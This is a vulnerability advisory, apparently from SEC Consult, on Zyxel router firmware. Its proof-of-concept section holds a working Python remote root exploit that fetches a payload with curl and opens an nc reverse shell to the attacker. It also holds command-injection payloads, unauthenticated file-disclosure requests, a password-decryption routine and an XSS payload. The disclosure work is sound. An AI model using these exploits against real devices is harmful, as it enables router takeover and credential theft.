Vendor description
"Focused on innovation and customer-centricity, Zyxel Communications Corp. has been connecting people to the internet for nearly 30 years. We keep promoting creativity which meets the needs of customers. This spirit has never been changed since we developed the world's first integrated 3-in-1 data/fax/voice modem in 1992. Our ability to adapt and innovate with networking technology places us at the forefront of understanding connectivity for telco/service providers, businesses and home users.
We're building the networks of tomorrow, helping unlock the world's potential and meeting the needs of the modern workplace; powering people at work, life and play. We stand side-by-side with our customers and partners to share new approaches to networking that will unleash their abilities. Loyal friend, powerful ally, reliable resource — we are Zyxel, Your Networking Ally."
Source: www.zyxel.com/about_zyxel/company_overview.shtml
Business recommendation
SEC Consult recommends Zyxel customers to upgrade the firmware to the latest version available.
The collaboration between Zyxel Communications and SEC Consult will further strengthen Zyxel's cybersecurity strategy by accelerating and optimizing the ability to respond to threats and vulnerabilities like those described in this advisory.
sec-consult.com/blog/detail/zyxel-communications-and-sec-consult-reach-next-level-of-cybersecurity/
Vulnerability overview/description
1) Multiple Unauthenticated Buffer Overflows in zhttpd and libclinkc.so
Multiple unauthenticated buffer overflows have been discovered in the zhttpd web server. One buffer overflow is extremely simple to trigger as it occurs in the URI input. In case of an overlong input, the web server crashes as the return address is overwritten with the input values as the function scanf() without length check was used. Multiple other buffer overflows can be found in the following functionalities:
- URI parsing in libclinkc.so, if '?' is contained.
- Export_Log functionality.
An attacker can take over the device by using the return-to-zero-protection technique as ASLR in the used Linux kernel is activated system-wide and the NX bit is set for the web server binary. Other protection mechanisms like PIE, stack canaries and relocation read only were not set. The address of libc shifts due to ASLR and must be brute-forced therefore. This can take up to one hour. However, on average, an attacker will gain a root shell in less than 30 minutes.
2) Unauthenticated Local File Disclosure in zhttpd
An endpoint in zhttpd can be used to expose system files including "/etc/passwd" and "/etc/shadow". This endpoint is accessible without prior login. An attacker can read all files on the system by using this endpoint.
3) Unsafe Storage of Sensitive Data
The device configuration contains passwords stored in a reversible form. Rather than storing passwords in an appropriate cryptographic hash format, the passwords are encrypted with a symmetric cipher (AES) using a static key. An attacker with access to the device configuration (e.g. by exploiting vulnerability #2) can decrypt the passwords and use them in further attacks.
4) Authenticated Command Injection
Two command injections were found within the device. One was identified in the ping diagnostic tool, the other one at the certificate upload. Both led to a fully compromised system as the web service was started with root permissions. It is suspected that more command injections are present in the web interface of the device.
5) Broken Access Control
Various access control vulnerabilities were identified where a lower privileged user can access functionality of a higher privilege role. Some functionality is visible in the GUI only if using a user account with full access permissions. However, it is not visible as standard "admin" user with the role administrator. It can be exploited, e.g., to open ports for system services such as SSH and FTP and also to access other functionality intended to be used by users with full access only.
6) Processing of Symbolic Links in ftpd
The FTP server on the device processes symbolic links on external storage media, e.g. formatted as NTFS. By creating a symbolic link to the root directory, this can be abused to get read access to the root file system.
7) Inadequate CSRF Implementation
The web interface provides CSRF tokens, which are implemented as 9-digit numbers and are transmitted as "sessionkey" parameter. CSRF tokens rely on unpredictability to fulfill their function. However, an API endpoint exists on the device, which can be used in an unauthenticated manner to generate and retrieve a new and valid CSRF token value over the internal network.
8) Stored Cross-Site Scripting
A stored cross-site scripting vulnerability was identified in the printer name field of the print server menu within the web interface of the device. However, the possible payload is limited to 32 characters and certain tags.
Proof of concept
1) Multiple Unauthenticated Buffer Overflows in zhttpd and libclinkc.so
URI parsing pseudo code in zhttpd
char path [256];
[...]
__s = (char *)cg_http_request_geturi(param_1);
pcVar2 = strstr(__s,"Export_Log");
if (pcVar2 != (char *)0x0) {
__isoc99_sscanf(__s,"%*[^?]?%s",path);
return;
}
This code will copy everything following a '?' from the URI to a 256 byte buffer. As URIs are commonly allowed to contain 2048 characters, the 'path' buffer can be overflown.
Proof of concept exploit that will obtain a root shell:
< the remote root exploit has been removed from this advisory and will be
published at a later date >
PoC exploit code added 2022-05-31
#!/usr/bin/env python3
import socket
import requests
import struct
VULN_HOST = 'X.X.X.X'
VULN_PORT = 80
LOCAL_IP = b"X.X.X.X"
LOCAL_PORT = b"1337"
def send_payload():
libc_addr=0xb6a38000
system_offset=0x000376c8
system_addr=libc_addr+system_offset
stack_addr=0xb4dfead8
mov_offset=0x000f4ccc
mov_addr=libc_addr+mov_offset
r3_offset=0x0010bdac
r3_addr=r3_offset+libc_addr
sp_inc_offset=0x000f70ec
sp_inc_addr=libc_addr+sp_inc_offset
exploit_str=b"curl${IFS}"+LOCAL_IP+b":"+LOCAL_PORT+b"/a|/bin/sh;"
exploit=(b"A"*268+struct.pack("<I",r3_addr)+b"\xef\xbe\xad\xde" +
b"\xef\xbe\xad\xde"+b"\xef\xbe\xad\xde" +
struct.pack("<I",sp_inc_addr) + struct.pack("<I",mov_addr) +
b"\xef\xbe\xad\xde" +struct.pack("<I",system_addr) +
b"\xef\xef\xad\xde"*6+exploit_str)
send = (b"GET /Export_Log?" + exploit +
b" HTTP/1.1\r\nHost: "+bytes(VULN_HOST,"ascii") +
b"\r\n\r\n")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((VULN_HOST, VULN_PORT))
s.sendall(send)
def exec_shell(client):
while True:
print(client.recv(1048576).decode("utf-8"))
cmd=input("")+"\n"
client.send(cmd.encode())
def send_exploit(client):
client.recv(4096)
print("Sending exploit payload")
exploit_str = (b"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc "+
LOCAL_IP+b" "+LOCAL_PORT+b" >/tmp/f &")
response = (b"HTTP/1.1 200 OK\r\nContent-Length: " +
bytes(str(len(exploit_str)), 'ascii') +
b"\r\nContent-Type: text/plain\r\nServer: SEC Consult\r\n\r\n" +
exploit_str)
client.send(response)
recv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
recv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
recv_sock.bind(("0.0.0.0",int(LOCAL_PORT)))
recv_sock.listen(1)
recv_sock.settimeout(5)
i = 0
while True:
try:
(clientsocket, address) = recv_sock.accept()
print("Socket received something!")
send_exploit(clientsocket)
clientsocket, _ = recv_sock.accept()
exec_shell(clientsocket)
exit(0)
except socket.timeout:
print("Triggering Overflow...#{}".format(i))
send_payload()
i = i + 1
URI handling pseudo code, when '?' is present, in libclinkc.so, which is called from zhttpd:
char acStack144 [128];
pcVar2 = strchr(uri_ptr,'?');
if (pcVar2 != (char *)0x0) {
memset(acStack144,0,0x80);
strncpy(acStack144,uri_ptr,(size_t)(pcVar2 + -(int)uri_ptr));
This buffer can be overflown even though strncpy is used, as the copy length parameter 'n' is user controlled. The attacker will need to request a URL with more than 128 characters and will then append a '?'.
2) Unauthenticated Local File Disclosure in zhttpd
The endpoint "Export_Log" can be used to fetch arbitrary files as shown in the following request that accesses the config file "/data/zcfg_config.json":
< POC removed from this advisory >
PoC added 2022-05-31
GET /Export_Log?/data/zcfg_config.json HTTP/1.1
Host: <IP>
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*
/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Response including SIP credentials:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 346415
Date: Thu, 01 Jan 1970 00:01:46 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"X_ZYXEL_PROFILE":"MU",
[...]
"Line":[
{
"SIP":{
"AuthUserName":"0123456789",
[...]
This endpoint is accessible without prior authentication!
The file '/data/zcfg_config.json' will contain the running configuration of the router, including all passwords such as SIP credentials!
3) Unsafe Storage of Sensitive Data
This section has been updated on 2022-05-31 including PoC details.
There is a proprietary password format by Zyxel denoted by the prefix "_encrypt_". This is implemented by the function encryptPassword in the binary "/bin/zcmd". Values in the configuration fields named "Privilege", "Password", "DefaultPassword" and "OldDefaultPassword" are passed to a function that derives an AES key using the OpenSSL function EVP_BytesToKey from static data (salt, the string “ThiSISEncryptioNKeY”). The following code snippets are a re-implementation of the key derivation algorithm:
unsigned char salt[] = { 0x39,0x30,0x00,0x00,0x31,0xd4,0x00,0x00 };
int encrypt_key_length;
char encryptKey[]= "ThiSISEncryptioNKeY";
encrypt_key_length = strlen(encryptKey);
unsigned char key[EVP_MAX_KEY_LENGTH], iv[EVP_MAX_IV_LENGTH];
int datal = encrypt_key_length;
EVP_BytesToKey(EVP_aes_256_cbc(), EVP_sha1(), (const unsigned char*)salt,
(const unsigned char*)encryptKey, datal,5,key,iv);
for (int i = 0;i <= EVP_MAX_KEY_LENGTH;i++) {
printf("%02X", key[i]);
}
printf("\n");
for (int i = 0;i <= EVP_MAX_IV_LENGTH;i++) {
printf("%02X", iv[i]);
}
The input for the key derivation is static, so the resulting key and IV are too. Based on the information the following Python snippet was developed that decrypts password entries (the key has been removed from this advisory):
def decrypt_zyxel_encrypt(input):
key=bytearray.fromhex(
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
iv=bytearray.fromhex('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
input=input.replace('_encrypt_','')
decoded = b64decode(input)
aes = AES.new(key, AES.MODE_CBC,iv)
decrypted=aes.decrypt(decoded)
print(repr(decrypted))
Decrypting the password can be done with the following command:
>> decrypt_zyxel_encrypt('_encrypt_xxxxxxxxxxxxxxxxx==')
The same password algorithm was discussed in the context of security research on the Zyxel VMG8825-T50 before:
th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/
4) Authenticated Command Injection
The input vulnerable to command injection can be found in the menu at MENU->Maintenance->Diagnostic. The following payload can now be used in the IP address field to create a reverse shell:
127.0.0.1;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc Attacker-IP Attacker-Port >/tmp/f &
The second identified possibility for a command injection was the certificate upload. The endpoint is not visible from the UI for a regular user, however due to the broken access control, see 6), every user can interact with it.
POST /cgi-bin/Certificates?action=import_local&priv=;touch${IFS}foo&sessionkey=409106100 HTTP/1.1
Host: <IP>
Connection: close
Content-Length: 1498
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarywlxAsQZ1maK9V9E9
Accept: */*
Origin: https: //<IP>
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https: //<IP>/Certificates
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: Session=uUgQobZKw5cUzesePtCAGhyxH3SOCE8W
------WebKitFormBoundarywlxAsQZ1maK9V9E9
Content-Disposition: form-data; name="certImportFileName";
filename="ZyXELcert.crt"
Content-Type: application/pkix-cert
-----BEGIN CERTIFICATE-----
[...]
-----END CERTIFICATE-----
------WebKitFormBoundarywlxAsQZ1maK9V9E9—
5) Broken Access Control
As a first example, available user accounts and their privileges can be viewed by sending a request the following API endpoint:
https: //<IP>/cgi-bin/DAL?oid=login_privilege
The response shows usernames invisible in the GUI, here e.g., the "root" user.
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 2906
Date: Thu, 01 Jan 1970 22:59:49 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"result": "ZCFG_SUCCESS",
"ReplyMsg": "Page",
"ReplyMsgMultiLang": "",
"Object": [
{
"Index0": 1,
"Index1": 1,
"Enabled": true,
"Username": "root",
"Password": "",
"EnableQuickStart": true,
"Privilege": "login"
},
[...]
As a second example, the status of system services can be viewed by sending a request to the following API endpoint:
https ://<IP>/cgi-bin/DAL?oid=mgmt_srv
The response shows various system services, here e.g., the SSH service which is only open for a trusted domain ("Trust_Dm").
HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: application/json
Content-Length: 1271
Date: Thu, 01 Jan 1970 02:18:28 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
{
"result": "ZCFG_SUCCESS",
"ReplyMsg": "RestartDeamon",
"ReplyMsgMultiLang": "",
"Object": [
[...]
{
"Index": 5,
"Name": "SSH",
"Port": 22,
"Mode": "Trust_Dm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,"
},
[...]
Subsequently, services can also be opened. An example request to open the FTP, SSH and SNMP ports is given below. The request has to be sent in context of an "admin" user and has to contain a valid "sessionkey" value.
PUT /cgi-bin/DAL?oid=mgmt_srv&sessionkey=575595380 HTTP/1.1
Host: <IP>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
X-Requested-With: XMLHttpRequest
Content-Length: 2097
Origin: https: //<IP>
Connection: close
Referer: https: //<IP>/RemoteManagement
Cookie: Session=6snfyaikMK5FmMcerni8cJEnzl4IgaFc
[
{
"Index": 1,
"Name": "HTTP",
"Port": 80,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 2,
"Name": "HTTPS",
"Port": 443,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 3,
"Name": "FTP",
"Port": 21,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 4,
"Name": "TELNET",
"Port": 23,
"Mode": "",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 5,
"Name": "SSH",
"Port": 22,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 6,
"Name": "SNMP",
"Port": 161,
"Mode": "LAN_ONLY",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": false,
"Protocol": "https",
"RestartDeamon": false
},
{
"Index": 7,
"Name": "PING",
"Port": -1,
"Mode": "LAN_TstDm",
"BoundInterfaceList":
"IP.Interface.9,IP.Interface.7,IP.Interface.5,IP.Interface.4,IP.Interface.3,,
,,IP.Interface.11,,,,",
"LANEnable": true,
"WLANEnable": true,
"WANEnable": false,
"TrustDmEnable": true,
"Protocol": "https",
"RestartDeamon": false,
"origport": 443,
"otherorigport": 80,
"httpport": 80,
"httpsport": 443
}
]
The response will indicate success and the system will be restarted. Another request to the API endpoint used before to query the service status will list the changed SSH mode, now shown as "LAN_TstDm".
6) Processing of Symbolic Links in ftpd
A prepared USB stick, formatted as NTFS and containing a link to the root file system (created by executing "ln -s / sysroot") is needed to exploit this vulnerability.
After placing the USB stick in the USB port of the device, it is automatically mounted to the admin user's home directory. By using the access control vulnerability, described in 6), the FTP port can be opened to allow FTP access via the internal network.
After connecting to the FTP service using the "admin" credentials, the mounted USB stick can be accessed and the "sysroot" symbolic link will show the content of the root file system.
7) Inadequate CSRF Implementation
The following API endpoint can be used without authentication to retrieve a new CSRF token:
https: //<IP>/changeSessionKey
The response contains the new session key, valid for all user accounts. The current one will be invalidated.
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
Date: Thu, 01 Jan 1970 12:29:50 GMT
X-Frame-Options: sameorigin
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
[
{
"SessionKey": 583723980
}
]
8) Stored Cross-Site Scripting
By browsing to "MENU->Network Setting->USB Service->Print Server", the field "User Defined Printer Name" can be used to place a stored cross-site scripting payload. The following code was used as proof-of-concept:
P<img src=x onerror=alert('XSS')>
In a PUT request, this action looks like the following listing in the proxy:
PUT /cgi-bin/DAL?oid=print_server&sessionkey=578218320 HTTP/1.1
Host: <IP>
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
If-Modified-Since: Thu, 01 Jun 1970 00:00:00 GMT
X-Requested-With: XMLHttpRequest
Content-Length: 106
Origin: <IP>
Connection: close
Cookie: activeMenuID=maintain_settings; activeSubmenuID=log;
Session=Fg2kSHIfZW5mhySEY4vJfrElXE4TSLEl
{
"Enable":false,
"IppMake":"PRINTER",
"IppDevice":"/dev/printer0",
"IppName":"P<img src=x onerror=alert('XSS')>"
}
The printer name will be stored and displayed on the same page, executing the payload.
Vulnerable / tested versions
Multiple devices are affected. See section "solution" for the list of affected models provided by the vendor including the patched firmware version. All firmware older than those listed are affected.